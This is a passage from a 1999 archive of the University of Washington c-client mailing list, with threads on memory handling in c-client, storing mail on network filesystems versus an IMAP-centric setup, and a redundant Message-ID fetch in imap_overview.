ESMTP id GAA19662 for ; Thu, 11 Feb 1999 06:39:18 -0800 Received: from amteva.com ([38.254.74.3]) by test-msg-static.amteva.net (Netscape Messaging Server 3.6) with ESMTP id AAA4305 for ; Thu, 11 Feb 1999 09:43:00 -0500 Message-Id: <36C2ED4C.F349B574@amteva.com> Date: Thu, 11 Feb 1999 09:46:36 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Brenda Gates Spielman To: c-client@cac.washington.edu Subject: Re: how to send MESSAGE/RFC822 content References: <14017.51762.431130.730118@phyw164.phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have been tracking a similar problem using imap-4.4. I have a test routine which opens a mailbox, reads each message, and then closes the mailbox. The body is fetched by a call to mail_fetchbody_full and then decoded with a call to rfc822_base64. If the test code does not free the content that was returned by the call to mail_fetchbody_full, then there are blocks of unfreed memory at the end of the program (i.e. massive memory leak). If the test program does free the content, then for each message of type MESSAGE/RFC822 an invalid memory location is freed when closing with the calls: mail_gc (*imapHandle, GC_ELT|GC_ENV|GC_TEXTS); *imapHandle = mail_close_full (*imapHandle, CL_EXPUNGE); I obtained the information about unfreed memory and improperly freed memory by linking in a debug malloc library (dbmalloc). I have also determined that the error message is not being generated by a call to free with a null pointer. Karsten Ballueder wrote: > Hello, > > I have a strange problem with the c-client lib, something that used to > work (version 4.1 I think) and stopped after upgrading (I think my > current sources are based 4.2 or 4.3). > > What happens? > > I try to include a message as MIME content of type MESSAGE/RFC822 in a > message and treat it exactly like a TEXT/PLAIN, i.e. I do something > like this: > switch(type) > { > case TYPETEXT: > case TYPEMESSAGE: > bdy->type = type; > bdy->subtype = (char *) fs_get(subtype.length()+1); > strcpy(bdy->subtype,(char *)subtype.c_str()); > bdy->contents.text.data = data; > bdy->contents.text.size = len; > bdy->encoding = ENC8BIT; > > This sends the message all fine, but when calling mail_free_body() > later, the library tries to delete the > bdy->nested.msg > which is not filled in (while bdy->contents is and seems not to be > deleted). > > Apparently there is some intention in this, as the relevant code > actually checks whether we have type MESSAGE/RFC822 before doing > so. Does this mean, I have to parse my message text and go through the > whole process of building a body with subparts, etc just to include it > in a mail? > > Thank you very much in advance! > -- > Karsten Ballüder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.net > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > "In a world without fences, who needs Gates?" > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 11 10:09:10 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 10:09:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA00572 for ; Thu, 11 Feb 1999 10:09:09 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA24406; Thu, 11 Feb 1999 10:09:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA04562; Thu, 11 Feb 1999 10:04:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA28726 for ; Thu, 11 Feb 1999 10:03:31 -0800 Received: from valhalla.umbc.edu (valhalla.umbc.edu [130.85.253.11]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA25706 for ; Thu, 11 Feb 1999 10:03:30 -0800 Received: from gl.umbc.edu (banz@umbc9.umbc.edu [130.85.60.11]) by valhalla.umbc.edu (8.9.0/8.9.0) with ESMTP id NAA12461; Thu, 11 Feb 1999 13:03:28 -0500 (EST) Received: from localhost (banz@localhost) by gl.umbc.edu (8.9.0/8.9.0) with ESMTP id NAA140644; Thu, 11 Feb 1999 13:03:28 -0500 (EST) Message-Id: Date: Thu, 11 Feb 1999 13:03:28 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Robert Banz To: Mark Plaksin Cc: c-client@u.washington.edu Subject: Re: c-client "unix" driver and AFS In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: umbc9.umbc.edu: banz owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > > > I strongly recommend *against* using any network filesystem such as NFS or > > AFS. This is what IMAP is supposed to accomplish. > > Can you give more details about how IMAP accomplishes this? I don't want > to argue about whether you're right or wrong, just to understand what > you're saying. > > Are you saying that folks should just run one big machine that can handle > all of their mail and IMAP load? > > If you have multiple machines serving one domain (e.g., > cac.washington.edu), how does that work? A meta-sendmail determines to > which machine to send mail destined for mrc@cac, etc? I know we're probably at the risk of starting a great religious war here, but I have to also agree with Mark here -- I *wish* sincerely that a monolithic mail server with a non-distributed filesystem were the way to go -- but with the insane rate in which system usage (in "space", "hits", and required uptime) grows, many sites, such as mine, have found it necessary to to further embrace the distributed services mentality -- we have multiple fileservers holding user files (their home directories, with their mailspools in their home volumes), with multiple relatively low-powered mail delivery machines (making for a quite redundant mail delivery environment -- I really "don't care" if one of those machines goes down), and right now one server handling IMAP/POP access into the home directories. Our users choose to use MANY methods to access their mail (mutt, elm, pine, netscape, eudora, *eech* BSD Mail, etc.), running a variety of auto-filter mechanisms (procmail, etc) -- with these factors, one monolithing way of dealing with all mail (imap) is bit of an insane dream for us. I think most sites out there are in the same situation as we are. Having c-client's unix driver not deal well with most popular network filesystems, is well, not really acceptable... Guess it's back to hacking it up again, oh well. I'll post my changes to the list if anyone is interested... > > Oh, and for what it's worth, we've been running UW imapd with DCE/DFS for > over two years and haven't had any horrible problems. It works great. We > deliver mail into home directories in DFS. DFS's file system semantics, are well, a little better than AFSs :) -rob From pinedev@shivax2.cac.washington.edu Thu Feb 11 10:21:16 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 10:21:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA00851 for ; Thu, 11 Feb 1999 10:21:14 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA24791; Thu, 11 Feb 1999 10:21:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA01993; Thu, 11 Feb 1999 10:16:23 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA11140 for ; Thu, 11 Feb 1999 10:15:35 -0800 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA27772 for ; Thu, 11 Feb 1999 10:15:35 -0800 Received: from D-140-142-110-210.dhcp.washington.edu (D-140-142-110-210.dhcp.washington.edu [140.142.110.210]) by shiva2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA09000; Thu, 11 Feb 1999 10:15:14 -0800 Message-Id: Date: Thu, 11 Feb 1999 10:16:44 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Robert Banz Cc: Mark Plaksin , c-client@u.washington.edu Subject: Re: c-client "unix" driver and AFS In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN At UW we support a community of 70,000 with an almost purely IMAP infrastructure. We have a small handful of folks who "are not with the program" and there is one Unix machine for them to play in, but has worked fine to treat them as exceptions. We have been doing this for many years; the concept is proven. It works fine, you just have to decide that it is worth going there. For us, there is no doubt in my mind. Our IMAP-centric email architecture is robust and scalable. It is easy to add capacity, and users are insulated from changes in the backroom. The key to this is the service location strategy. We use a modified DNS server that exports a virtual email hostname for every user, e.g. gray.deskmail.washington.edu is the name of my email host, which then gets mapped to the actual mail server with my data on it. The incoming mail forwarders consult the same database for final mail delivery. By using DNS in this way, we have backward compatibility with all known email clients. It works great... -teg On Thu, 11 Feb 1999, Robert Banz wrote: > > > > > I strongly recommend *against* using any network filesystem such as NFS or > > > AFS. This is what IMAP is supposed to accomplish. > > > > Can you give more details about how IMAP accomplishes this? I don't want > > to argue about whether you're right or wrong, just to understand what > > you're saying. > > > > Are you saying that folks should just run one big machine that can handle > > all of their mail and IMAP load? > > > > If you have multiple machines serving one domain (e.g., > > cac.washington.edu), how does that work? A meta-sendmail determines to > > which machine to send mail destined for mrc@cac, etc? > > I know we're probably at the risk of starting a great religious war here, > but I have to also agree with Mark here -- I *wish* sincerely that a > monolithic mail server with a non-distributed filesystem were the way to > go -- but with the insane rate in which system usage (in "space", "hits", > and required uptime) grows, many sites, such as mine, have found it > necessary to to further embrace the distributed services mentality -- we > have multiple fileservers holding user files (their home directories, with > their mailspools in their home volumes), with multiple relatively > low-powered mail delivery machines (making for a quite redundant mail > delivery environment -- I really "don't care" if one of those machines > goes down), and right now one server handling IMAP/POP access into the > home directories. Our users choose to use MANY methods to access their > mail (mutt, elm, pine, netscape, eudora, *eech* BSD Mail, etc.), running a > variety of auto-filter mechanisms (procmail, etc) -- with these factors, > one monolithing way of dealing with all mail (imap) is bit of an insane > dream for us. I think most sites out there are in the same situation as > we are. > > Having c-client's unix driver not deal well with most popular network > filesystems, is well, not really acceptable... Guess it's back to hacking > it up again, oh well. I'll post my changes to the list if anyone is > interested... > > > > > Oh, and for what it's worth, we've been running UW imapd with DCE/DFS for > > over two years and haven't had any horrible problems. It works great. We > > deliver mail into home directories in DFS. > > DFS's file system semantics, are well, a little better than AFSs :) > > -rob > > From pinedev@shivax2.cac.washington.edu Thu Feb 11 10:47:33 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 10:47:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA01392 for ; Thu, 11 Feb 1999 10:47:32 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA25539; Thu, 11 Feb 1999 10:47:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA03845; Thu, 11 Feb 1999 10:38:41 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA15066 for ; Thu, 11 Feb 1999 10:38:22 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA10691 for ; Thu, 11 Feb 1999 10:38:21 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (jtw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA25270 for ; Thu, 11 Feb 1999 10:38:21 -0800 Message-Id: Date: Thu, 11 Feb 1999 10:31:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Brenda Gates Spielman Cc: c-client@CAC.Washington.EDU Subject: Re: how to send MESSAGE/RFC822 content In-Reply-To: <36C2ED4C.F349B574@amteva.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 11 Feb 1999 09:46:36 -0500, Brenda Gates Spielman wrote: > I have a test routine > which opens a mailbox, reads each message, and then closes the mailbox. > The body is fetched by a call to mail_fetchbody_full and then decoded with > a call to rfc822_base64. If the test code does not free the content that > was returned by the call to mail_fetchbody_full, then there are blocks of > unfreed memory at the end of the program (i.e. massive memory leak). You are doing something wrong. You MUST NOT free data that is returned by mail_fetchbody(). Storage returned by mail_fetchbody() is returned at mail_gc() or mail_close() time. However, you ARE required to free data returned from rfc822_base64(). In other words, you call mail_fetchbody(), save the returned pointer as btxt. You then supply the btxt as input to rfc822_base64(), save the returned pointer as rtxt. You MUST NOT free btxt but you MUST free rtxt when you are finished with it. > If the test > program does free the content, then for each message of type MESSAGE/RFC822 > an invalid memory location is freed when closing with the calls: > > mail_gc (*imapHandle, GC_ELT|GC_ENV|GC_TEXTS); > *imapHandle = mail_close_full (*imapHandle, CL_EXPUNGE); That is because you improperly freed c-client internal data. I'm surprised that you didn't get core dumps earlier from chasing bad pointers. Also, there is absolutely no reason to call mail_gc() unless you want to recover memory and still keep the stream open. mail_close() does all mail_gc() operations. The only need for mail_gc() is on 640K DOS machines where you have to free memory aggressively. > I obtained the information about unfreed memory and improperly freed memory by > linking in a debug malloc library (dbmalloc). I have also determined that the > error message is not being generated by a call to free with a null pointer. > > > Karsten Ballueder wrote: > > > Hello, > > > > I have a strange problem with the c-client lib, something that used to > > work (version 4.1 I think) and stopped after upgrading (I think my > > current sources are based 4.2 or 4.3). > > > > What happens? > > > > I try to include a message as MIME content of type MESSAGE/RFC822 in a > > message and treat it exactly like a TEXT/PLAIN, i.e. I do something > > like this: > > switch(type) > > { > > case TYPETEXT: > > case TYPEMESSAGE: > > bdy->type = type; > > bdy->subtype = (char *) fs_get(subtype.length()+1); > > strcpy(bdy->subtype,(char *)subtype.c_str()); > > bdy->contents.text.data = data; > > bdy->contents.text.size = len; > > bdy->encoding = ENC8BIT; > > > > This sends the message all fine, but when calling mail_free_body() > > later, the library tries to delete the > > bdy->nested.msg > > which is not filled in (while bdy->contents is and seems not to be > > deleted). > > > > Apparently there is some intention in this, as the relevant code > > actually checks whether we have type MESSAGE/RFC822 before doing > > so. Does this mean, I have to parse my message text and go through the > > whole process of building a body with subparts, etc just to include it > > in a mail? > > > > Thank you very much in advance! > > -- > > Karsten Ball|der http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.net > > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > > "In a world without fences, who needs Gates?" > > -- > > ------------------------------------------------------------------ > > For information about this mailing list, and its archives, see: > > http://www.washington.edu/imap/c-client-list.html > > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 11 14:37:24 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 14:37:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA06354 for ; Thu, 11 Feb 1999 14:37:22 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA08732; Thu, 11 Feb 1999 14:37:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA28731; Thu, 11 Feb 1999 14:32:20 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA27780 for ; Thu, 11 Feb 1999 14:31:07 -0800 Received: from GATE.INNOSOFT.COM (GATE.INNOSOFT.COM [192.160.253.77]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA15728 for ; Thu, 11 Feb 1999 14:31:01 -0800 Received: from elvira.innosoft.com (ELVIRA.INNOSOFT.COM [192.160.253.135]) by GATE.INNOSOFT.COM (PMDF V5.2-29 #10099) with ESMTP id <01J7MCVXMGEQ0009XH@GATE.INNOSOFT.COM> for c-client@u.washington.edu; Thu, 11 Feb 1999 14:30:55 PST Received: from elwood.innosoft.com (ELWOOD.INNOSOFT.COM [192.160.253.235]) by elvira.innosoft.com (PMDF V5.2-31 #13579) with SMTP id <0F7000IQFH5LFA@elvira.innosoft.com> for c-client@u.washington.edu; Thu, 11 Feb 1999 14:29:46 -0800 (PST) Message-Id: Date: Thu, 11 Feb 1999 14:30:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chris Newman To: c-client Interest List Subject: Double fetching Message-ID MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Given that Message-ID is in the envelope is there a reason the imap_overview() function explicitly asks for the Message-ID header in addition to the envelope on a 4rev1 server? - Chris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 11 15:23:50 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 15:23:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA07570 for ; Thu, 11 Feb 1999 15:23:48 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA09923; Thu, 11 Feb 1999 15:23:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA26782; Thu, 11 Feb 1999 15:19:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA15400 for ; Thu, 11 Feb 1999 15:18:22 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (jesus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA23478 for ; Thu, 11 Feb 1999 15:18:21 -0800 Message-Id: Date: Thu, 11 Feb 1999 15:02:50 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Chris Newman Cc: c-client Interest List Subject: re: Double fetching Message-ID In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 11 Feb 1999 14:30:43 -0800 (PST), Chris Newman wrote: > Given that Message-ID is in the envelope is there a reason the > imap_overview() function explicitly asks for the Message-ID header in > addition to the envelope on a 4rev1 server? Yes, there is. Unfortunately. The server can return the requested data in any order (or even in a separate untagged FETCH response. Consequently, when the HEADER.FIELDS from the extraheaders are parsed, the ENVELOPE may not be there yet. However, the Message-ID is needed for parsing the extraheaders; it is examined to see if the other extraheaders should be used or ignored. If certain individuals, notably two with initials of JS and RD, had not had their crania wedged firmly up their posterior orifices, this ugly and disgusting kludge would be unnecessary. From pinedev@shivax2.cac.washington.edu Thu Feb 11 16:59:25 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 16:59:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA30552 for ; Thu, 11 Feb 1999 16:59:23 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA02884; Thu, 11 Feb 1999 16:59:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA02875; Thu, 11 Feb 1999 16:55:13 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA25314 for ; Thu, 11 Feb 1999 16:54:21 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (yakitori@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA29199 for ; Thu, 11 Feb 1999 16:54:20 -0800 Message-Id: Date: Thu, 11 Feb 1999 16:54:07 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Robert Banz Cc: Mark Plaksin , c-client@u.washington.edu Subject: Re: c-client "unix" driver and AFS In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 11 Feb 1999, Robert Banz wrote: > Our users choose to use MANY methods to access their > mail (mutt, elm, pine, netscape, eudora, *eech* BSD Mail, etc.), running a > variety of auto-filter mechanisms (procmail, etc) -- with these factors, > one monolithing way of dealing with all mail (imap) is bit of an insane > dream for us. IMAP is a "monolith" only if you configure your system architecture as a monolith. If you insist upon having all mail at one place, you're going to have problems no matter what you do. Of the clients you mentioned above, only BSD Mail and perhaps Elm stand out as requiring access to a mail file as opposed to using a protocol specifically designed for mail (such as IMAP or POP). > Having c-client's unix driver not deal well with most popular network > filesystems, is well, not really acceptable... It is impossible to "deal well" with NFS. Some formats are impossible to use with NFS at all, since NFS fails to provide critical atomic filesystem semantics. With the unix format, it's possible to keep things from breaking too badly, as long as you don't try to access the same mail file from two or more places at a time (or from the same place multiple times simultaneously). Second hand reports state that AFS has additional problems; it is reported that AFS deliberately discards updates. If these reports are true, then AFS can not be considered to be a suitable filesystem for mail files. c-client goes to considerable effort to write lock files and to get the disk copies updated via fsync() before removing the lock files. Even NFS does this right. If AFS can't do this, then don't use AFS. From pinedev@shivax2.cac.washington.edu Fri Feb 12 17:33:10 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Feb 1999 17:33:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA30923 for ; Fri, 12 Feb 1999 17:33:09 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA07333; Fri, 12 Feb 1999 17:33:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id RAA04421; Fri, 12 Feb 1999 17:33:02 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA27954 for ; Fri, 12 Feb 1999 17:31:58 -0800 Received: from GATE.INNOSOFT.COM (SYSTEM@GATE.INNOSOFT.COM [192.160.253.77]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA15193 for ; Fri, 12 Feb 1999 17:31:58 -0800 Received: from elvira.innosoft.com (ELVIRA.INNOSOFT.COM [192.160.253.135]) by GATE.INNOSOFT.COM (PMDF V5.2-29 #10099) with ESMTPS id <01J7NXHP1OLO000ABP@GATE.INNOSOFT.COM> for c-client@u.washington.edu; Fri, 12 Feb 1999 17:31:56 PST Received: from elwood.innosoft.com (ELWOOD.INNOSOFT.COM [192.160.253.235]) by elvira.innosoft.com (PMDF V5.2-31 #13579) with SMTP id <0F720022NK7AP6@elvira.innosoft.com> for c-client@u.washington.edu; Fri, 12 Feb 1999 17:30:46 -0800 (PST) Message-Id: Date: Fri, 12 Feb 1999 17:31:44 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chris Newman To: c-client Interest List Subject: re: Double fetching Message-ID In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 11 Feb 1999, Mark Crispin wrote: > The server can return the requested data in any order (or even in a separate > untagged FETCH response. Consequently, when the HEADER.FIELDS from the > extraheaders are parsed, the ENVELOPE may not be there yet. However, the > Message-ID is needed for parsing the extraheaders; it is examined to see if > the other extraheaders should be used or ignored. FYI, the Cyrus message store caches certain headers which are commonly fetched with a "HEADER.FIELDS". If a "HEADER.FIELDS" request only requests cached headers, then it is significantly faster. It would be foolish to cache the Message-ID header when it's in the pre-generated ENVELOPE anyway. And a Message-ID header can't be correctly regenerated from the ENVELOPE since the LWSP was discarded. So clients which fetch the Message-ID header this way will take a significant performance hit against Cyrus and Cyrus-based servers. > If certain individuals, notably two with initials of JS and RD, had not had > their crania wedged firmly up their posterior orifices, this ugly and > disgusting kludge would be unnecessary. In theory, that behavior is a consequence of a purist untagged data model. But splitting attributes from a single fetch request into multiple responses is taking the purist model too far, IMHO. I wonder if it would be possible to reach a compromise position that all fetch attributes on a given fetch command should be returned in the same fetch response although arbitrary order within that response is permitted? If you think it would be worthwhile, I'd be glad to propose this on the IMAP protocol list. - Chris From pinedev@shivax2.cac.washington.edu Fri Feb 12 18:22:56 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Feb 1999 18:22:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA31125 for ; Fri, 12 Feb 1999 18:22:55 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA31516; Fri, 12 Feb 1999 18:22:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id SAA21655; Fri, 12 Feb 1999 18:20:56 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id SAA31432 for ; Fri, 12 Feb 1999 18:20:42 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA04320 for ; Fri, 12 Feb 1999 18:20:42 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (chj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA15909; Fri, 12 Feb 1999 18:20:41 -0800 Message-Id: Date: Fri, 12 Feb 1999 18:15:04 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Chris Newman Cc: c-client Interest List Subject: re: Double fetching Message-ID In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 12 Feb 1999 17:31:44 -0800 (PST), Chris Newman wrote: > I wonder if it would > be possible to reach a compromise position that all fetch attributes on a > given fetch command should be returned in the same fetch response although > arbitrary order within that response is permitted? If you think it would > be worthwhile, I'd be glad to propose this on the IMAP protocol list. It is entirely too late to consider such a change to IMAP. Furthermore, the "wrong" order in the same response is just as problematic as multiple responses. If Cyrus has a performance problem with arbitrary headers, this sounds like a problem in Cyrus that needs to be addressed. I do not believe that it is reasonable to expect a static list of "certain headers which are commonly fetched." From pinedev@shivax2.cac.washington.edu Fri Feb 12 18:27:35 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Feb 1999 18:27:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with 